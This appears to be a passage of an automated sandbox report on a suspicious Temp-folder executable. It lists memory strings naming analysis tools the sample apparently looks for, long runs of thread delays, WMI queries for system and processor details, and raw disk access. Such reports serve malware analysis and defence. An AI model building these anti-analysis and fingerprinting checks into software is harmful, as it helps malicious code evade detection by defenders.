Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: tmp1201676045.exe, 00000004.00000002.2290707674.000001F700001000.00000004.00000800.00020000.00000000.sdmp, tmp1201676045.exe, 0000000E.00000002.2348507412.0000022416D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Memory allocated: 1F768E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Memory allocated: 1F76A870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Memory allocated: 22415280000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Memory allocated: 2242ED50000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599345	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598841	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598715	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598606	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598498	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598388	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598126	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597072	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596600	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596365	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596095	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595958	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595298	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595167	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595048	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594923	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594788	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594263	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593904	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593793	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593675	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593517	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593382	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593169	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593027	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592767	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592486	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592361	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 592111	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591986	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591621	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591499	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591283	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 591158	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590970	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590845	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590705	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590580	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590423	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590226	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 590085	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589830	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589659	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589508	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589381	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589265	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 589008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588893	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588764	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588643	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 588518	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5134	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4744	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Window / User API: threadDelayed 8794	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 5134 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6520	Thread sleep count: 4744 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1352	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -599797s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -599345s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -599059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598841s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598715s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598606s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598498s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598388s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598274s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -598126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -597968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -597232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -597072s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596742s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596484s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596365s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596236s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -596095s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595958s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595782s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595298s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595167s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -595048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594923s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594788s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594528s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594263s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -594031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593904s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593793s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593675s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593517s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593382s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593274s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593169s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -593027s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -592767s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -592486s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -592361s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -592236s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -592111s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591986s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591742s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591621s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591499s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591283s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -591158s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590970s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590845s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590705s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590580s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590423s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590226s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -590085s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589830s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589659s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589508s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589381s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589265s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589147s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -589008s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -588893s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -588764s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -588643s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7064	Thread sleep time: -588518s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7664	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 3140	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7272	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe TID: 7976	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599345	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 599059	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598841	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598715	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598606	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598498	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598388	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 598126	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 597072	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596600	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596484	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596365	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 596095	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595958	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595298	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595167	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 595048	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594923	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594788	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594263	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593904	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593793	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593675	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593517	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593382	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1201676045.exe	Thread delayed: delay time: 593169	Jump to behavior
